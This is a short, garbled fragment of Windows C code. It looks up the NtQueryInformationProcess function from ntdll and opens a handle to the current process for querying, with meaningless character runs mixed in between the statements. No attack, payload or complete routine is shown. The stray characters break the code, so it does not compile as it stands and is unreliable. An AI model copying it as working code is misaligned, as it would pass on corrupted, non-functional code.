NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !0. 5 pzt Zb if (!NtQueryInformationProcess) return 0; px
[1# * #>=/15: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5& |